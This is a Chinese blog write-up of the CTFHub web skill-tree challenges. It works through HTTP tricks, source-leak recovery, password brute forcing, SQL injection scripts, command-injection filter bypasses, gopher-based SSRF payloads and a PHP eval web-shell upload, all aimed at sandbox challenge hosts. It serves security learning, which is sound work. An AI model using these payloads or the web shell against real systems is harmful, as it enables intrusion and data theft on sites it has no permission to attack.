• [ctf学习]ctfhub技能树-web


    web前置

    HTTP协议

    请求方式

    背景知识
    HTTP 请求方法, HTTP/1.1协议中共定义了八种方法(也叫动作)来以不同方式操作指定的资源。
    方法
    1、OPTIONS
    返回服务器针对特定资源所支持的HTTP请求方法,也可以利用向web服务器发送‘*’的请求来测试服务器的功能性
    2、HEAD
    向服务器索与GET请求相一致的响应,只不过响应体将不会被返回。这一方法可以再不必传输整个响应内容的情况下,就可以获取包含在响应小消息头中的元信息。
    3、GET
    向特定的资源发出请求。注意:GET方法不应当被用于产生“副作用”的操作中,例如在Web Application中,其中一个原因是GET可能会被网络蜘蛛等随意访问。Loadrunner中对应get请求函数:web_link和web_url
    4、POST
    向指定资源提交数据进行处理请求(例如提交表单或者上传文件)。数据被包含在请求体中。POST请求可能会导致新的资源的建立和/或已有资源的修改。 Loadrunner中对应POST请求函数:web_submit_data,web_submit_form
    5、PUT
    向指定资源位置上传其最新内容
    6、DELETE
    请求服务器删除Request-URL所标识的资源
    7、TRACE
    回显服务器收到的请求,主要用于测试或诊断
    8、CONNECT
    HTTP/1.1协议中预留给能够将连接改为管道方式的代理服务器。

    题目
    用burp修改请求方式为CTFHUB
    获得flag
    在这里插入图片描述

    302跳转

    使用burp获得flag
    ctfhub{688948eb9f3d9955c48d04fb}

    Cookie

    admin修改为1
    ctfhub{a4c03521d62d2447621e48ea}

    基础认证

    在HTTP中,基本认证(英语:Basic access authentication)是允许http用户代理(如:网页浏览器)在请求时,提供 用户名 和 密码 的一种方式。

    burp暴破
    对用户名和密码进行了base64加密
    规则里选择增加前缀和base64加密

    在这里插入图片描述
    flag在状态为200的里面
    在这里插入图片描述

    响应包源代码

    查看源码获得flag
    在这里插入图片描述

    信息泄露

    目录遍历

    打开burp-spider this host
    在这里插入图片描述
    在这里插入图片描述

    PHPINFO

    在这里插入图片描述

    备份文件下载

    网站源码

    www.zip 里面没有找到flag但是告诉我们有个flag_22975839.txt
    文件,访问获得flag

    http://challenge-0f51685a3afc80f1.sandbox.ctfhub.com:10800/flag_22975839.txt
    
    • 1

    bak文件

    扫描得到:

    http://challenge-bd93da6e6234eb5c.sandbox.ctfhub.com:10800/index.php.bak
    
    • 1

    vim缓存

    扫描得到
    http://challenge-017184f19278ca14.sandbox.ctfhub.com:10800/.index.php.swp

    .DS_Store

    .ds_store里有
    $ f 0 2 e c d 3 f 3 1 8 a 9 4 1 4 3 a 9 1 5 a 7 2 5 9 0 1 2 d 1 b . t x tnoteustr
    f l a g h e r e !
    访问/f02ecd3f318a94143a915a7259012d1b.txt 获得flag

    Git泄露(未完成)

    Log

    用Git_Extract-master下载获得flag

    Stash

    git clone https://github.com/BugScanTeam/GitHack
    然后进入文件夹
    需要使用python2运行
    python2 GitHack.py http://xxx/.git
    git stash会把所有未提交的修改(包括暂存的和非暂存的)都保存起来,用于后续恢复当前工作目录。
    可以使用git stash list命令查看现有stash,可以通过git stash pop命令恢复之前缓存的工作目录。
    在这里插入图片描述
    新生成的txt里有flag或者
    git stash show -p可以查看特定stash的全部diff
    在这里插入图片描述

    Index

    使用githack下载后
    git show 看到flag
    在这里插入图片描述

    看网上别人的wp是这么做的
    git log 显示提交日志信息,输入git diff +(commit后面的内容)

    在这里插入图片描述

    SVN泄露

    下载工具

    git clone https://github.com/kost/dvcs-ripper
    
    • 1

    进行简单配置相关要求的组件

    sudo apt-get install perl libio-socket-ssl-perl libdbd-sqlite3-perl libclass-dbi-perl libio-all-lwp-perl
    
    • 1

    2)恢复.svn
    进入工具目录/dvcs-ripper,执行下面命令开始恢复
    ./rip-svn.pl http://challenge-78f4515413350eaa.sandbox.ctfhub.com:10800
    3)进入.svn目录,查找flag

    密码口令

    弱口令

    用户名为admin对密码进行暴破
    在这里插入图片描述
    python
    附上我写的脚本,实用性不强,不如burp快

    import requests
    dic=r'1.txt'
    url='http://challenge-e0c68f5c5362298c.sandbox.ctfhub.com:10800/'
    f=open(dic,'r')
    l=f.readlines()
    for i in l:
    	data={
    	'name':'admin',
    	'password':i[:-1],
    	'referer':''
    	}
    
    	r=requests.post(url,data=data)
    	if 'ctfhub{' in r.text:
    		print(r.text)
    		break
    
    f.close()
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18

    这里i不包括最后一个字符

    默认口令

    账号:eyougw 密码:admin@(eyou)

    SQL注入

    整数型注入

    我一般判断是否为整形,喜欢用2-1 看回显
    在这里插入图片描述
    最后payload:
    ?id=-1 union select 1,(select group_concat(flag) from flag)

    字符型注入

    ?id=-1’ union select 1,(select group_concat(flag) from flag)%23

    报错注入

    1 and extractvalue(1,concat(0x7e,(select group_concat(flag) from flag),0x7e))
    ?id=1 and extractvalue(1,concat(0x7e,(mid((select group_concat(flag) from flag),15,25)),0x7e))

    布尔盲注

    布尔盲注的脚本平时写得多,这里懒得写了
    直接用sqlmap
    在这里插入图片描述
    在这里插入图片描述
    ……结果发现sqlmap 花了15分钟!!!

    时间盲注

    还是脚本快,用脚本做完题,sqlmap才出来ct两个字母
    sqlmap语句参考上一题
    在这里插入图片描述
    附上脚本:

    import requests
    import time
    url = "http://challenge-97919233c33370a8.sandbox.ctfhub.com:10800/"
    flag = ''
    for i in range(1,100):
        low = 32
        high = 127
        while low < high:
            mid = (low+high)//2
            data = "?id=1 and if(ascii(substr((select group_concat(flag) from flag),%d,1))>%d,sleep(0.2),1)" % (i, mid)
            start_time=time.time()
            r = requests.get(url=url+data)
            if time.time() - start_time >0.2:
                low = mid + 1
            else:
                high = mid
        if high<33:
            break
    
        flag += chr(low)
        print(flag)
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21

    MySQL结构

    见上面题目 略

    Cookie注入

    手工注入(最基础的联合注入):
    Cookie: id=-1 union select 1,(select group_concat(xrnwtpftud) from aaajrkbzts);
    sqlmap:
    在这里插入图片描述
    保存为post.txt
    在这里插入图片描述
    这种普通注入还是sqlmap快,再能使用sqlmap的时候尽量使用

    UA注入

    ua头注入
    python sqlmap.py -u http://challenge-7fd72534e86a2341.sandbox.ctfhub.com:10800 --level3 --dbs

    Refer注入

    sqlmap太慢了 还是手工注入
    感觉今天是被sqlmap折腾疯了的一天
    referer:id=-1 union select 1,(select group_concat(gzmjkqhiui) from hbjrciejlp)

    过滤空格

    ?id=-1/**/union/**/select/**/1,(select/**/group_concat(wrsnvyazfc)/**/from/**/wwscprtpih)
    
    • 1

    RCE

    eval执行

    ?cmd=system(‘nl /flag_3122’);

    过滤目录分隔符

    ;cd flag_is_here;nl flag_318352766115537.php
    
    • 1

    过滤运算符

    ;nl fl*
    
    • 1

    综合过滤练习

    <?php
    
    $res = FALSE;
    
    if (isset($_GET['ip']) && $_GET['ip']) {
        $ip = $_GET['ip'];
        $m = [];
        if (!preg_match_all("/(\||&|;| |\/|cat|flag|ctfhub)/", $ip, $m)) {
            $cmd = "ping -c 4 {$ip}";
            exec($cmd, $res);
        } else {
            $res = $m;
        }
    }
    ?>
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15

    我的做法
    1.使用grep -r递归查找内容

    ?ip=%0agrep%09-r%09ub{%09fla?_is_here

    2.使用cd绕过“/”

    ?ip=%0acd%09fl*%0anl%09fla*
    
    • 1

    看看网上别人的做法

    ?ip=127.0.0.1%0Als${IFS}$(printf${IFS}%22x66x6Cx61x67x5Fx69x73x5Fx68x65x72x65%22)#
    
    • 1
    ?ip=127.0.0.1%0Aca%27%27t${IFS}$(printf${IFS}%22x66x6Cx61x67x5Fx69x73x5Fx68x65x72x65x2Fx66x6Cx61x67x5Fx32x31x37x38x38x33x31x31x36x38x38x36x30x31x2Ex70x68x70%22)#
    
    • 1

    这里我测试不成功
    在这里插入图片描述

    SSRF

    1分支

    内网访问

    /?url=http://127.0.0.1/flag.php
    
    • 1

    伪协议读取文件

    背景知识
    file:// 协议
    用于访问本地文件系统,在CTF中通常用来读取本地文件的且不受allow_url_fopen与allow_url_include的影响。

    http/s协议
    探测内网主机存活

    dict协议
    泄露安装软件版本信息,查看端口,操作内网redis服务等

    Gopher协议
    Gopher协议可以说是SSRF中的万金油。利用此协议可以攻击内网的 Redis、Mysql、FastCGI、Ftp等等,也可以发送 GET、POST 请求。这无疑极大拓宽了 SSRF 的攻击面。

    题目payload:

    /?url=file:///var/www/html/flag.php
    
    • 1

    端口扫描

    来来来性感CTFHub在线扫端口,据说端口范围是8000-9000哦,
    使用burp
    在这里插入图片描述
    在这里插入图片描述
    python:
    附上我写的脚本,因为是单线程20多秒的比用burp久

    import requests
    for i in range(8000,9000):
    	url="http://challenge-b884a78d20ef5e16.sandbox.ctfhub.com:10800/?url=127.0.0.1:%d" % i
    	res = requests.get(url)
    	if "{" in res.text:
    		print(res.text)
    		break
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7

    2分支

    POST请求

    题目描述:这次是发一个HTTP POST请求.对了.ssrf是用php的curl实现的.并且会跟踪302跳转.加油吧骚年

    用file协议获得index.php源码

    <?php
    error_reporting(0);
    if (!isset($_REQUEST['url'])){
        header("Location: /?url=_");
        exit;
    }
    $ch = curl_init();
    curl_setopt($ch, CURLOPT_URL, $_REQUEST['url']);
    curl_setopt($ch, CURLOPT_HEADER, 0);
    curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
    curl_exec($ch);
    curl_close($ch);
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12

    flag.php

    <?php
    error_reporting(0);
    if ($_SERVER["REMOTE_ADDR"] != "127.0.0.1") {
        echo "Just View From 127.0.0.1";
        return;
    }
    $flag=getenv("CTFHUB");
    $key = md5($flag);
    if (isset($_POST["key"]) && $_POST["key"] == $key) {
        echo $flag;
        exit;
    }
    ?>
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13

    通过http协议获得

    <!-- Debug: key=9a687c45eceac60d1ebbee53afa603f3-->
    
    • 1

    传入一个gopher协议的数据包,应构造的gopher数据包:

    POST /flag.php HTTP/1.1
    Host: challenge-6bf09ea42da9c9f5.sandbox.ctfhub.com:10800
    Content-Type: application/x-www-form-urlencoded
    Content-Length: 36
    
    key=9a687c45eceac60d1ebbee53afa603f3
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6

    gopher协议传参步骤:
    1.构造好gopher协议传入的数据包
    2.进行一次url编码,把编码后的结果中,%0A替换成%0d%0A,结尾加上%0d%0A
    3.再进行一次URL编码
    4.?url=gopher://xxxxxxxxxxxx 传入即可
    处理后的payload:

    ?url=gopher%3A//127.0.0.1%3A80/_%250D%250APOST%2520/flag.php%2520HTTP/1.1%250D%250AHost%253A%2520challenge-6bf09ea42da9c9f5.sandbox.ctfhub.com%253A10800%250D%250AContent-Type%253A%2520application/x-www-form-urlencoded%250D%250AContent-Length%253A%252036%250D%250A%250D%250Akey%253D9a687c45eceac60d1ebbee53afa603f3%250D%250A
    
    • 1

    代码见https://editor.csdn.net/md/?articleId=125596613
    ctfhub{8e809679a5d06eefd728ab8b}

    上传文件

    这次需要上传一个文件到flag.php了.祝你好运
    读一下flag.php的代码,这里只需要上传一个文件就可以获得flag

    <?php
    
    error_reporting(0);
    
    if($_SERVER["REMOTE_ADDR"] != "127.0.0.1"){
        echo "Just View From 127.0.0.1";
        return;
    }
    
    if(isset($_FILES["file"]) && $_FILES["file"]["size"] > 0){
        echo getenv("CTFHUB");
        exit;
    }
    ?>
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14

    ?url=127.0.0.1/flag.php 来到这个页面
    增加一个按钮

    <input type="submit" name="submit">
    
    • 1

    上传一个文件burp拦截

    POST /flag.php HTTP/1.1
    Host: challenge-a66fdd447f1cb24b.sandbox.ctfhub.com:10800
    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:102.0) Gecko/20100101 Firefox/102.0
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
    Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
    Content-Type: multipart/form-data; boundary=---------------------------109084428027991433181660077227
    Content-Length: 350
    Origin: http://challenge-a66fdd447f1cb24b.sandbox.ctfhub.com:10800
    Connection: close
    Referer: http://challenge-a66fdd447f1cb24b.sandbox.ctfhub.com:10800/?url=127.0.0.1/flag.php
    Upgrade-Insecure-Requests: 1
    
    -----------------------------109084428027991433181660077227
    Content-Disposition: form-data; name="file"; filename="1.php"
    Content-Type: application/octet-stream
    
    <?php eval($_POST[h]);?>
    -----------------------------109084428027991433181660077227
    Content-Disposition: form-data; name="submit"
    
    提交查询
    -----------------------------109084428027991433181660077227--
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21
    • 22

    对他进行处理后
    得到payload:

    ?url=gopher%3A//127.0.0.1%3A80/_%250D%250APOST%2520/flag.php%2520HTTP/1.1%250D%250AHost%253A%2520challenge-a66fdd447f1cb24b.sandbox.ctfhub.com%253A10800%250D%250AUser-Agent%253A%2520Mozilla/5.0%2520%2528Windows%2520NT%252010.0%253B%2520Win64%253B%2520x64%253B%2520rv%253A102.0%2529%2520Gecko/20100101%2520Firefox/102.0%250D%250AAccept%253A%2520text/html%252Capplication/xhtml%252Bxml%252Capplication/xml%253Bq%253D0.9%252Cimage/avif%252Cimage/webp%252C%252A/%252A%253Bq%253D0.8%250D%250AAccept-Language%253A%2520zh-CN%252Czh%253Bq%253D0.8%252Czh-TW%253Bq%253D0.7%252Czh-HK%253Bq%253D0.5%252Cen-US%253Bq%253D0.3%252Cen%253Bq%253D0.2%250D%250AContent-Type%253A%2520multipart/form-data%253B%2520boundary%253D---------------------------109084428027991433181660077227%250D%250AContent-Length%253A%2520350%250D%250AOrigin%253A%2520http%253A//challenge-a66fdd447f1cb24b.sandbox.ctfhub.com%253A10800%250D%250AConnection%253A%2520close%250D%250AReferer%253A%2520http%253A//challenge-a66fdd447f1cb24b.sandbox.ctfhub.com%253A10800/%253Furl%253D127.0.0.1/flag.php%250D%250AUpgrade-Insecure-Requests%253A%25201%250D%250A%250D%250A-----------------------------109084428027991433181660077227%250D%250AContent-Disposition%253A%2520form-data%253B%2520name%253D%2522file%2522%253B%2520filename%253D%25221.php%2522%250D%250AContent-Type%253A%2520application/octet-stream%250D%250A%250D%250A%253C%253Fphp%2520eval%2528%2524_POST%255Bh%255D%2529%253B%253F%253E%250D%250A-----------------------------109084428027991433181660077227%250D%250AContent-Disposition%253A%2520form-data%253B%2520name%253D%2522submit%2522%250D%250A%250D%250A%25C3%25A6%25C2%258F%25C2%2590%25C3%25A4%25C2%25BA%25C2%25A4%25C3%25A6%25C2%259F%25C2%25A5%25C3%25A8%25C2%25AF%25C2%25A2%250D%250A-----------------------------109084428027991433181660077227--%250D%250A
    
    • 1

    获得flag
    在这里插入图片描述

    bypass

    URL Bypass

    请求的URL中必须包含http://notfound.ctfhub.com,来尝试利用URL的一些特殊地方绕过这个限制吧

    ?url=http://notfound.ctfhub.com@127.0.0.1/flag.php
    
    • 1

    数字IP Bypass

    试了下不允许有127/172
    通过尝试以下可以
    ?url=0/flag.php
    ?url=http://2130706433/flag.php(16进制 8进制也可以)
    ?url=http%3a%2f%2flocalhost%2f/flag.php

    302跳转 Bypass

    同上一题payload
    .用我的理解来说就是,用户访问一个特定的域名,然后这个域名原来是一个正常的ip。但是当域名持有者修改域名对应的ip后,用户再访问这个域名的时候,浏览器以为你一直访问的是一个域名,就会认为很安全。这个是DNS重绑定攻击

    这个是我的理解

    这里可以让用户访问一个域名,然后这个域名在访问127.0.0.1

    这里我使用的是文中所写的那个网站

    https://lock.cmpxchg8b.com/rebinder.html?tdsourcetag=s_pctim_aiomsg

    DNS重绑定并没有违反同源策略,相当于是钻了同源策略,同域名同端口访问的空子了。

    这里的操作十分的简单

    首先先打开那个网站,然后设置为
    在这里插入图片描述
    在这里插入图片描述

  • 相关阅读:
    966SEO扫地僧站群·万能HTML模板[V1.9.1]
    存储过程,循环中定义变量
    Fastjson 1.2.24反序列化漏洞(Vulhub)使用方法
    Java 数据结构、集合框架、ArrayList
    短视频被替代的趋势-今抖云创
    Unity SKFramework框架(二十二)、Runtime Console 运行时调试工具
    k8s--RC
    内置对象——数值
    【计算机网络】运输层习题(谢希仁)(1)
    计算机毕业设计 SSM家具定制管理系统 家具生产管理系统 家具订单管理系统
  • 原文地址:https://blog.csdn.net/Yjlay/article/details/125593555